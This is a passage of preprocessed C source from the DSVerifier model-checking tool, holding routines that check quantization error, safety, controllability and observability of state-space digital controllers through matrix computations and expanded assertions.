# 43 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 1
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
extern digital_system_state_space _controller;
extern double error_limit;
extern int closed_loop;
double new_state[4][4];
double new_stateFWL[4][4];
digital_system_state_space _controller_fxp;
digital_system_state_space _controller_double;
double ss_system_quantization_error(fxp_t inputs){
digital_system_state_space __backupController;
int i;
int j;
_controller.inputs[0][0] = inputs;
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
__backupController.A[i][j]= (_controller.A[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
__backupController.B[i][j]= (_controller.B[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
__backupController.C[i][j]= (_controller.C[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
__backupController.D[i][j]= (_controller.D[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
__backupController.states[i][j]= (_controller.states[i][j]);
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
__backupController.inputs[i][j]= (_controller.inputs[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
__backupController.outputs[i][j]= (_controller.outputs[i][j]);
}
}
double __quant_error = 0.0;
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j]= (new_state[i][j]);
}
}
double output_double = double_state_space_representation();
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_state[i][j]= (_controller.states[i][j]);
}
}
__backupController.inputs[0][0] = inputs;
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
_controller.A[i][j] = __backupController.A[i][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
_controller.B[i][j] = __backupController.B[i][j];
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
_controller.C[i][j] = __backupController.C[i][j];
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
_controller.D[i][j] = __backupController.D[i][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j] = __backupController.states[i][j];
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
_controller.inputs[i][j] = __backupController.inputs[i][j];
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
_controller.outputs[i][j] = __backupController.outputs[i][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j]= (new_stateFWL[i][j]);
}
}
double output_fxp = fxp_state_space_representation();
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_stateFWL[i][j]= (_controller.states[i][j]);
}
}
__quant_error = output_double - output_fxp;
return __quant_error;
}
double fxp_ss_closed_loop_quantization_error(double reference){
double reference_aux[4][4];
double result1[4][4];
double temp_result1[4][4];
double result2[4][4];
double temp_states[4][4];
fxp_t K_fxp[4][4];
fxp_t states_fxp[4][4];
fxp_t result_fxp[4][4];
unsigned int i;
unsigned int j;
unsigned int k;
short unsigned int flag = 0;
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
if(_controller_fxp.D[i][j] != 0){
flag = 1;
}
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
reference_aux[i][j]=0;
K_fxp[i][j] = 0;
}
}
for(i=0; i<nInputs;i++){
reference_aux[i][0]= reference;
}
for(i=0; i<4;i++){
states_fxp[i][0]=0;
}
for(i=0; i<nStates;i++){
K_fxp[0][i]= fxp_double_to_fxp(_controller_fxp.K[0][i]);
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
for(k=0; k<nStates;k++)
{
states_fxp[k][0]= fxp_double_to_fxp(_controller_fxp.states[k][0]);
}
fxp_matrix_multiplication(nOutputs,nStates,nStates,1,K_fxp,states_fxp,result_fxp);
fxp_t reference_fxp[4][4];
fxp_t result_fxp2[4][4];
for(k=0;k<nInputs;k++)
{
reference_fxp[k][0] =fxp_double_to_fxp(fxp_quantize(reference_aux[k][0]));
}
fxp_sub_matrix(nInputs,1, reference_fxp, result_fxp, result_fxp2);
for(k=0; k<nInputs;k++)
{
_controller_fxp.inputs[k][0] = fxp_to_double(fxp_quantize(result_fxp2[k][0]));
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller_fxp.C,_controller_fxp.states,result1);
if(flag == 1)
{
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller_fxp.D,_controller_fxp.inputs,result2);
}
double_add_matrix(nOutputs,1,result1,result2,_controller_fxp.outputs);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller_fxp.A,_controller_fxp.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller_fxp.B,_controller_fxp.inputs,result2);
double_add_matrix(nStates,1,result1,result2,_controller_fxp.states);
return _controller_fxp.outputs[0][0];
}
double ss_closed_loop_quantization_error(double reference){
double reference_aux[4][4];
double result1[4][4];
double result2[4][4];
unsigned int i;
unsigned int j;
short unsigned int flag = 0;
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
if(_controller_double.D[i][j] != 0){
flag = 1;
}
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
reference_aux[i][j]= reference;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller_double.K,_controller_double.states,result1);
double_sub_matrix(nInputs,1,reference_aux,result1, _controller_double.inputs);
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller_double.C,_controller_double.states,result1);
if(flag == 1)
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller_double.D,_controller_double.inputs,result2);
double_add_matrix(nOutputs,1,result1,result2,_controller_double.outputs);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller_double.A,_controller_double.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller_double.B,_controller_double.inputs,result2);
double_add_matrix(nStates,1,result1,result2,_controller_double.states);
return _controller_double.outputs[0][0];
}
int verify_error_state_space(void){
int i,j;
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_state[i][j]= (_controller.states[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_stateFWL[i][j]= (_controller.states[i][j]);
}
}
_controller_fxp = _controller;
_controller_double = _controller;
overflow_mode = 0;
fxp_t x[0];
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
double nondet_constant_input = nondet_double();
__DSVERIFIER_assume(nondet_constant_input >= min_fxp && nondet_constant_input <= max_fxp);
for (i = 0; i < 0; ++i) {
x[i] = nondet_constant_input;
}
double __quant_error;
if(closed_loop){
for (i = 0; i < 0; ++i) {
__quant_error = ss_closed_loop_quantization_error(x[i]) - fxp_ss_closed_loop_quantization_error(x[i]);
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
((void) sizeof ((
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ; else __assert_fail (
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
"__quant_error < error_limit && __quant_error > ((-1)*error_limit)"
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h", 354, __extension__ __PRETTY_FUNCTION__); }))
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
;
}
}
else {
for (i=0; i < 0; i++)
{
__quant_error = ss_system_quantization_error(x[i]);
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
((void) sizeof ((
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ; else __assert_fail (
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
"__quant_error < error_limit && __quant_error > ((-1)*error_limit)"
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h", 361, __extension__ __PRETTY_FUNCTION__); }))
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
;
}
}
return 0;
}
# 44 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
extern digital_system_state_space _controller;
extern double error_limit;
extern int closed_loop;
double fxp_ss_closed_loop_safety(){
double reference[4][4];
double result1[4][4];
double result2[4][4];
fxp_t K_fpx[4][4];
fxp_t outputs_fpx[4][4];
fxp_t result_fxp[4][4];
unsigned int i;
unsigned int j;
unsigned int k;
short unsigned int flag = 0;
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
if(_controller.D[i][j] != 0){
flag = 1;
}
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
reference[i][j]= (_controller.inputs[i][j]);
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<nOutputs;j++){
K_fpx[i][j]=0;
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
outputs_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result_fxp[i][j]=0;
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<nOutputs;j++){
K_fpx[i][j]= fxp_double_to_fxp(_controller.K[i][j]);
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
for (i = 1; i < 0; i++) {
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
if(flag == 1){
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
}
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
for(k=0; k<nOutputs;k++){
for(j=0; j<1;j++){
outputs_fpx[k][j]= fxp_double_to_fxp(_controller.outputs[k][j]);
}
}
fxp_matrix_multiplication(nInputs,nOutputs,nOutputs,1,K_fpx,outputs_fpx,result_fxp);
for(k=0; k<nInputs;k++){
for(j=0; j<1;j++){
result1[k][j]= fxp_to_double(result_fxp[k][j]);
}
}
printf("### fxp: U (before) = %.9f", _controller.inputs[0][0]);
printf("### fxp: reference = %.9f", reference[0][0]);
printf("### fxp: result1 = %.9f", result1[0][0]);
printf("### fxp: reference - result1 = %.9f", (reference[0][0] - result1[0][0]));
double_sub_matrix(nInputs,
1,
reference,
result1,
_controller.inputs);
printf("### fxp: Y = %.9f", _controller.outputs[0][0]);
printf("### fxp: U (after) = %.9f \n### \n### ", _controller.inputs[0][0]);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller.A,_controller.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller.B,_controller.inputs,result2);
double_add_matrix(nStates,
1,
result1,
result2,
_controller.states);
}
return _controller.outputs[0][0];
}
int verify_safety_state_space(void){
fxp_t output_fxp = fxp_ss_closed_loop_safety();
double output_double = fxp_to_double(output_fxp);
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
((void) sizeof ((
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
output_double <= error_limit
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
output_double <= error_limit
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
) ; else __assert_fail (
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
"output_double <= error_limit"
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h", 140, __extension__ __PRETTY_FUNCTION__); }))
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
;
return 0;
}
# 45 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 1
# 14 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
extern digital_system_state_space _controller;
int verify_controllability(void){
int i;
int j;
fxp_t A_fpx[4][4];
fxp_t B_fpx[4][4];
fxp_t controllabilityMatrix[4][4];
fxp_t backup[4][4];
fxp_t backupSecond[4][4];
double controllabilityMatrix_double[4][4];
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nInputs);j++){
A_fpx[i][j] = 0.0;
B_fpx[i][j] = 0.0;
controllabilityMatrix[i][j] = 0.0;
backup[i][j] = 0.0;
backupSecond[i][j] = 0.0;
controllabilityMatrix_double[i][j] = 0.0;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
A_fpx[i][j]= fxp_double_to_fxp(_controller.A[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
B_fpx[i][j]= fxp_double_to_fxp(_controller.B[i][j]);
}
}
if(nInputs > 1){
int l = 0;
for(j=0; j<(nStates*nInputs);){
fxp_exp_matrix(nStates,nStates,A_fpx,l,backup);
l++;
fxp_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,B_fpx,backupSecond);
for(int k = 0; k < nInputs; k++){
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][k];
}
j++;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nInputs);j++){
backup[i][j]= 0.0;
}
}
fxp_transpose(controllabilityMatrix,backup,nStates,(nStates*nInputs));
fxp_t mimo_controllabilityMatrix_fxp[4][4];
fxp_matrix_multiplication(nStates,(nStates*nInputs),(nStates*nInputs),nStates,controllabilityMatrix,backup,mimo_controllabilityMatrix_fxp);
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
controllabilityMatrix_double[i][j]= fxp_to_double(mimo_controllabilityMatrix_fxp[i][j]);
}
}
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(controllabilityMatrix_double,nStates) != 0"
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 91, __extension__ __PRETTY_FUNCTION__); }))
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
} else {
for(j=0; j<nStates;j++){
fxp_exp_matrix(nStates,nStates,A_fpx,j,backup);
fxp_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,B_fpx,backupSecond);
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][0];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
controllabilityMatrix_double[i][j]= fxp_to_double(controllabilityMatrix[i][j]);
}
}
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(controllabilityMatrix_double,nStates) != 0"
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 113, __extension__ __PRETTY_FUNCTION__); }))
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
}
return 0;
}
int verify_controllability_double(void){
int i;
int j;
double controllabilityMatrix[4][4];
double backup[4][4];
double backupSecond[4][4];
double controllabilityMatrix_double[4][4];
if(nInputs > 1){
int l = 0;
for(j=0; j<(nStates*nInputs);){
double_exp_matrix(nStates,nStates,_controller.A,l,backup);
l++;
double_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,_controller.B,backupSecond);
for(int k = 0; k < nInputs; k++){
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][k];
}
j++;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nInputs);j++){
backup[i][j]= 0.0;
}
}
transpose(controllabilityMatrix,backup,nStates,(nStates*nInputs));
double mimo_controllabilityMatrix_double[4][4];
double_matrix_multiplication(nStates,(nStates*nInputs),(nStates*nInputs),nStates,controllabilityMatrix,backup,mimo_controllabilityMatrix_double);
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(mimo_controllabilityMatrix_double,nStates) != 0
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(mimo_controllabilityMatrix_double,nStates) != 0
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(mimo_controllabilityMatrix_double,nStates) != 0"
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 154, __extension__ __PRETTY_FUNCTION__); }))
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
} else {
for(j=0; j<nStates;j++){
double_exp_matrix(nStates,nStates,_controller.A,j,backup);
double_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,_controller.B,backupSecond);
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][0];
}
}
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix,nStates) != 0
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix,nStates) != 0
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(controllabilityMatrix,nStates) != 0"
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 163, __extension__ __PRETTY_FUNCTION__); }))
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
}
return 0;
}
# 46 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
extern digital_system_state_space _controller;
int verify_observability(void){
int i;
int j;
fxp_t A_fpx[4][4];
fxp_t C_fpx[4][4];
fxp_t observabilityMatrix[4][4];
fxp_t backup[4][4];
fxp_t backupSecond[4][4];
double observabilityMatrix_double[4][4];
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
observabilityMatrix[i][j]= 0;
A_fpx[i][j]=0;
C_fpx[i][j]= 0;
backup[i][j]= 0;
backupSecond[i][j]= 0;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
A_fpx[i][j]= fxp_double_to_fxp(_controller.A[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
C_fpx[i][j]= fxp_double_to_fxp(_controller.C[i][j]);
}
}
if(nOutputs > 1){
int l;
j = 0;
for(l=0; l<nStates;){
fxp_exp_matrix(nStates,nStates,A_fpx,l,backup);
l++;
fxp_matrix_multiplication(nOutputs,nStates,nStates,nStates,C_fpx,backup,backupSecond);
for(int k = 0; k < nOutputs; k++){
for(i = 0; i<nStates;i++){
observabilityMatrix[j][i]= backupSecond[k][i];
}
j++;
}
}
# 80 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nOutputs);j++){
backup[i][j]= 0.0;
}
}
fxp_transpose(observabilityMatrix,backup,(nStates*nOutputs),nStates);
# 99 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
fxp_t mimo_observabilityMatrix_fxp[4][4];
fxp_matrix_multiplication(nStates,(nStates*nOutputs),(nStates*nOutputs),nStates,backup,observabilityMatrix,mimo_observabilityMatrix_fxp);
# 112 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
observabilityMatrix_double[i][j]= fxp_to_double(mimo_observabilityMatrix_fxp[i][j]);
}
}
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
((void) sizeof ((
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ; else __assert_fail (
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
"determinant(observabilityMatrix_double,nStates) != 0"
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h", 119, __extension__ __PRETTY_FUNCTION__); }))
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
;
}else{
for(i=0; i<nStates;i++){
fxp_exp_matrix(nStates,nStates,A_fpx,i,backup);
fxp_matrix_multiplication(nOutputs,nStates,nStates,nStates,C_fpx,backup,backupSecond);
for(j = 0; j<nStates;j++){
observabilityMatrix[i][j]= backupSecond[0][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
observabilityMatrix_double[i][j]= fxp_to_double(observabilityMatrix[i][j]);
}
}
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
((void) sizeof ((
